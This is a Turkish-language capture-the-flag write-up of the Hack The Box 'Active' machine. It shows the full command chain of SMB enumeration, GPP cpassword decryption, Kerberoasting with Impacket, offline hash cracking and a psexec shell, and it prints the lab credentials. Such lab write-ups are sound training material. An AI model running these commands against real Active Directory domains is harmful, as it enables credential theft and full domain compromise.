Hack The Box: Active Çözümü

0
587
views
Hack the Box platformu sızma testi alıştırmaları için kullanılabilecek çevrimiçi platformlardan birisidir. Bu yazıda, Hack The Box platformundaki Active isimli Kolay zorluktaki sanal makinenin ele geçirilmesi incelenecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Active sanal makinesinin IP ve işletim sistemi bilgileri aşağıdaki gibidir.

  • IP Adresi: 10.10.10.100
  • İşletim Sistemi: Windows

 

A) Port Tarama

nmapAutomator aracı ile port taraması sonucunda 23 adet portun açık olduğu tespit edilmiştir.

nmapAuthomator.sh 10.10.10.100 Quick

 

Açık portlar aşağıdaki gibidir:

  • 53
  • 88
  • 135
  • 139
  • 389
  • 445
  • 464
  • 593
  • 636
  • 3268
  • 3269
  • 5722
  • 9389
  • 47001
  • 49152
  • 49153
  • 49154
  • 49155
  • 49157
  • 49158
  • 49169
  • 49170
  • 49179

Açık olan portlar incelendiğinde TCP\88 (kerberos), TCP\445 (SMB), TCP\389 (LDAP), TCP\3268 ve TCP\3269 (Global Katalog LDAP) portlarının açık olması hedef sistemin muhtemel bir etki alanı denetleyicisi (Domain Controller) olduğuna işaret etmektedir.

 

B) SMB Servisinin İncelenmesi

Gerçekleştirilen nmap taramasında, TCP\139 ve TCP\445 portlarında çalışan SMB servisinde anonim erişime izin verildiği görülmüştür.

smbclient -L 10.10.10.100 -N

 

Ancak bazı dizinlere erişim sağlanamadığı ve NT_STATUS_ACCESS_DENIED hatası alındığı görülmüştür.

smbclient \\\\10.10.10.100\\NETLOGON

 

Paylaşımlar yetkilendirmeleri ile birlikte listelendiğinde, sadece “Replication” dizinine salt okuma (READ ONLY) yetkisi verildiği görülmüştür.

smbmap -H 10.10.10.100

 

“Replication” dizinine SMB erişiminin yapılabildiği görülmüştür.

smbclient //10.10.10.100/Replication

 

 

C) Group Policy Preferences (GPP) Yapılandırmasının İstismarı

Düzgün yapılandırılmamış etki alanı ortamlarında GPP üzerinde kayıtlı parolalar açık metin olarak elde edilebilir. GPP yapılandırma zafiyeti ile ilgili detaylı bilgi için kaynaklardaki Siberportal [i] bağlantısı incelenebilir.

“Replication” dosya paylaşımı incelendiğinde active.htb klasörü ile karşılaşılmakta ve bu klasörün içerisinde de grup ilkelerinin bulunduğu görülmektedir.

 

Dosyalar arasında bulunan Groups.xml içerisinde 2 ifade göze çarpmaktadır:

  • name” karşısında “active.htb\SVC_TGS” kullanıcı adı
  • cpassword” karşısında şifreli şekilde bir parola

 

Bu şifreli ifade çözüldüğünde parola “GPPstillstandingStrong2k18” olarak elde edilmektedir.

gpp-decrypt

 

Özetle “active.htb\SVC_TGS” kullanıcısı ve “GPPstillstandingStrong2k18” parolası elde edilmiştir.

 

D) user.txt Dosyasının Okunması

Anonim erişimlerde “No Access” ile etiketlenen paylaşımlardan NETLOGON, SYSVOL ve Users paylaşımları elde edilen kullanıcı kimlik bilgileri ile denendiğinde “READ ONLY” olarak etkilenmiştir.

smbmap -H 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillstandingStrong2k18

 

Bu paylaşımlardan “Users” dizinine gidildiğinde erişimin sağlanabildiği görülmektedir.

smbclient //10.10.10.100/Users -U SVC_TGS

 

“Users” paylaşımında bulunan “SVC_TGS” kullanıcısının ana dizininde “users.txt” dosyasına erişim sağlanabilmiştir.

 

E) Group Managed Service Accounts (gMSA)

Windows ortamındaki hizmetler (servisler), tekil/standalone bir bilgisayarda çok geniş yetkiye sahip olan NT AUTHORITY\SYSTEM ve kısıtlı yetkiye sahip olan NT AUTHORITY\NETWORK SERVICE && NT AUTHORITY\LOCAL SERVICE hesapları ile çalışabilir. Ancak kurumsal ortamlarda ağ üzerinden kimlik doğrulaması problemleri sebepleri ile etki alanı hesaplarının kullanılması yaygındır. Etki alanı hesaplarının kullanılması durumunda da servis hesaplarına “Domain Admins” gibi çok yetkili gruplara üye yapılabilmektedir. Ayrıca bu hesapların parolalarının hiç bir zaman değişmeyecek olarak ayarlanması, değiştirilmek istendiğinde de bu hesabın kullanıldığı tüm sistemlerde bir çalışma yapılma zorunluluğu gibi problemler bulunmaktadır. Bu sorunları azaltmak için Windows Server 2008 R2 ile beraber Standalone Managed Service Accounts (MSA), Windows Server 2012 ile de Group Managed Service Accounts (gMSA) kavramları ortaya çıkmıştır.

gMSA ile MSA arasındaki en büyük fark kapsamlarıdır. gMSA, MSA gibi tek bir sistemde kullanılmaz; aynı anda çoklu (cluster) sunucu ortamlarında (Network Load Balance yapıları, Exchange DAG üyeleri ve SQL Failover Cluster mimarilerinde) kullanılabilmektedir. Grup Seviyesinde Yönetilen Servis Hesapları’nın sağladığı güvenlik özellikleri aşağıdaki gibi sıralanabilir.

  • Bu hesaplar ilk oluştuğunda zamana (ayrıca KDS Root Key adı verilen anahtara ve hesabın SID değerine) göre rastgele oluşmaktadır. Bu hesapların parolaları etki alanındaki parola politikasından muaftır.
  • Bu hesaplara ait parolalar varsayılan olarak 120 karakter uzunluğundadır.
  • Bu hesaplara ait parolalar varsayılan olarak 30 günde bir değişmektedir.
  • Bu hesapların parolaları Fine Grained Password Policy (FGPP) de dahil olmak üzere, parola politikalarından etkilenmezler.
  • Bu hesaplar ile etkileşimli oturum açılamaz.
  • Zamanlanmış görevlerde kullanılmayacaksa bu hesaplara “Logon as batch job” yetkisi verilmemelidir.

Not: gMSA; varsayılan olarak “CN=Managed Service Accounts, DC=ornek, DC=local” altında tanımlanmaktadır.

 

F) Service Principle Name (SPN)

Windows etki alanı ortamında kullanıcı veya bilgisayarların pwnLastSet, lastLogon, badPasswordTime,… gibi özellikleri (attribute) olduğu gibi “ServicePrincipleName” değeri de vardır. SPN, bir hizmeti tanımlayan tekil isimdir.

SPN formatı genellikle aşağıdaki gibidir.

  • MAIL/posta.egitim.local –> mailsvc
  • HTTP/portal.egitim.local:8443 –> websvc
  • MSSQL/veritabani.egitim.local:1434 –> sqlengine
  • TERMSRV/terminal.egitim.local –> trmsrv

Örnek SPN servis isimleri aşağıdaki gibidir:

alerter, appmgmt, browser, cifs, cisvc, clipsrv, dcom, dhcp, dmserver, dns, dnscache, eventlog, eventsystem, exchangeab, exchangerfr, exchangemdm, fax, gc (global catalog), http, ias, iisadmin, imap, mail, messenger, msiserver, mcsvc, mssql, netdde, netddedsm, netlogon, netman, nmagent, oakley, plugplay, pop, pop3, policyagent, protectedstorage, rasman, remoteaccess, replicator, rpc, rpclocator, rpcss, rsvp, samss, scardsvr, scesrv, schedule, scm, seclogon, smtp, smtpsvc, snmp, spooler, tapisrv, termsrv, time, trksvr, trkwks, ups, w3svc, wins, wsman (winrm), www

Microsoft ortamında SPN (Service Principal Name), Kerberos kimlik doğrulaması yaparken, bir hesap ile ilişkilendirmek için kullanılmaktadır. Bu hesaplara ait yetkilerin kısıtlı olması ve parolalarının karmaşık olması tavsiye edilmektedir. Ancak bu şartlara uygulmaması durumunda bir takım saldırılar ile karşılaşılabilmektedir.

Servis hesapları ve SPN’lerin listelenmesi için kullanılabilecek komutlar aşağıdaki gibi sıralanabilir:

Setspn.exe -q */*
Get-ADUser -Filter {serviceprincipalname -like “*”} -Properties serviceprincipalname | Format-Table
Get-ADObject -Filter {serviceprincipalname -like “*” -and objectclass -eq “user”} -Properties serviceprincipalname | Format-Table

 

 

G) Kerberoasting Saldırısı

Microsoft etki alanı yapılarında kullanılan temel kimlik doğrulama mekanizmalarından birisi Kerberos‘tur. Microsoft ortamında Kerberos kimlik doğrulaması ile ilgili detaylı bilgi için kaynaklardaki Siberportal [ii] bağlantısı incelenebilir.

 

Kerberos ile güvenlik arttırılmış olsa da bir takım saldırılara açıktır. Bu saldırılardan birisi de Kerberoasting olarak adlandırılır. Kerberoasting ile servis hesaplarına ait NTLM parola özeti ile şifrelenmiş olan servis bileti elde edilebilir. Saldırı aşağıdaki adımlar ile gerçekleşir.

  • Saldırgan, bir kullanıcıya ait kullanıcı adı ve parola elde eder.
  • Kerberos kimlik doğrulamanın ilk 2 adımı (AS_REQ ve AS_REP adımları) sonrasında, bu kimlik bilgileri kullanılarak, TGT adı verilen bilet elde edilir.
  • Kerberos kimlik doğrulamanın TGS_REQ (3.) adımında, saldırgan elindeki TGT ile, hedef servis hesabı için SPN’i kullanarak bilet ister.
  • Sonraki adımda (TGS_REP), DC rolündeki makine ilgili servis hesabının parola özeti ile şifrelenmiş bir cevap (servis bileti) gönderir.
  • Bu adımda saldırı gerçekleştirilir. Şöyle ki; servis bileti elde edildikten sonra, Kerberos ile kimlik doğrulamanın 5. adımı olan AP_REQ yapılmaz. Bu adım yerine şifrelenmiş bilet (servis hesabının parolası karmaşık değilse) çevrimdışı olarak kırılarak, parola açık metin olarak elde edilir.
  • Bu servis hesabının yetkisi ile işlemler gerçekleştirilebilir.

 

Not: “Do not require Kerberos preauthentication” etkin hesaplar için TGT doğrulaması olmadan doğrudan TGS_REQ adımı gerçekleştirilerek, TGS_REP ile servis bileti elde edilebilir.

Not: Parolanın uzun ve karmaşık olması, kerberos iletişiminde RC4 yerine AES kullanılması parolanın kırılmasını zorlaştırır.

 

H) Kerberoasting Saldırısının Gerçekleştirilmesi

Mevcut ortamda 4 adet kullanıcı bulunmaktadır.

https://github.com/ropnop/windapsearch
python windapsearch.py –dc-ip 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillstandingStrong2k18 -U

 

Kerberoasting saldırısı için Impacket-GetUserSPNs python betiği kullanılabilir.

 

Saldırı gerçekleştirilmeye çalışıldığında, CIFS servisine ait SPN’in (active/CIFS:445) Administrator kullanıcısına bağlı olduğu tespit edilebilmesine rağmen, KRB_AP_ERR_SKEW hatası alınmıştır.

https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py
python GetUserSPNs.py active.htb/SVC_TGS:GPPstillstandingStrong2k18 -dc-ip 10.10.10.100 -request

Not: GetUserSPNs.py betiği ile bilgisayar hesabı olmayan servis kullanıcıları elde edilir. Bilgisayar hesaplarının parolaları 120 byte kadar uzunlukta olabileceği için bu hesaplara karşı kaba kuvvet saldırısı yapılmaya çalışılmasının anlamı olmayacaktır.

 

NTP senkronizasyonunun yapılamamasından kaynaklı olan bu hatanın giderilmesi için NTP servisi ayarlanır.

systemctl stop ntp
ntpdate 10.10.10.100
systemctl start ntp

 

Böylece Administrator kullanıcı hesabına ait şifreli bilet elde edilebilmiştir.

python GetUserSPNs.py active.htb/SVC_TGS:GPPstillstandingStrong2k18 -dc-ip 10.10.10.100 -request

 

Not: Elde edilen şifreli bilet aslında binary formatta olmasına rağmen, Kerberoast-Kirbi2john gibi araçlar kullanılarak kırılabilir formatta bir çıktı verilmektedir.

 

Kerberoasting saldırısı için Impacket-GetUserSPNs python betiği yerine, PyKerberoast-Kerberoastv2 python betiği de kullanılabilir.

python kerberoastv2.py -a 10.10.10.100 -b cn=users,dc=active,dc=local -d active -u SVC_TGS -p GPPstillstandingStrong2k18

 

I) Parolanın Elde Edilmesi

Elde edilen şifreli bilet (aslında “Kerberos 5 TGS-REP etype 23” özetleme tipindeki değer) Hashcat aracına verilerek çevrimdışı olarak (eğer sözlükte varsa) açık metin parola elde edilebilir.

hashcat -m 13100 -a 0 GetUserSPNs_Ciktisi.out /usr/share/wordlists/rockyou.txt –force

 

Elde edilen şifreli bilet John The Ripper aracına verilerek de çevrimdışı olarak (eğer sözlükte varsa) açık metin parola elde edilebilir

./john /root/Desktop/HTB/boxes/active/admin.txt –wordlist=/usr/share/wordlists/rockyou.txt

 

J) Komut Satırı Erişimi Elde Edilmesi

Elde edilen kimlik bilgisi kullanılarak komut satırı erişimi elde etmek için de bir çok yöntem ve araç vardır. Impacket-Psexec Python betiği ile erişim aşağıdaki gibi sağlanabilir.

./psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100

 

Kaynaklar:

https://medium.com/@orhan_yildirim/active-hackthebox-write-up-2e487bb4ab2a
[i] https://www.siberportal.org/red-team/microsoft-domain-environment-penetration-tests/acquiring-sensitive-logon-informations-on-group-policy-by-using-msf-gpp-post-module/
[ii] https://www.siberportal.org/blue-team/securing-microsoft-domain-environment/kerberos-authentication-on-microsoft-environments/

Windows Server 2012 R2 İle Group Managed Service Accounts (gMSA) – Bölüm 1

Kerberos 101 – From Zero to Hero


https://0xdf.gitlab.io/2018/12/08/htb-active.html
https://0xrick.github.io/hack-the-box/active/
https://snowscan.io/htb-writeup-active/#
https://room362.com/post/2016/kerberoast-pt1/
https://room362.com/post/2016/kerberoast-pt2/
https://room362.com/post/2016/kerberoast-pt3/

Roasting AS-REPs

Explanation of Service Principal Names in Active Directory

Faster Domain Escalation using LDAP


https://forestall.io/blog/tr/active-directory-tr/servis-hesaplarinin-guvenligi/
https://swarm.ptsecurity.com/kerberoasting-without-spns/

 

 

 

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

This site uses Akismet to reduce spam. Learn how your comment data is processed.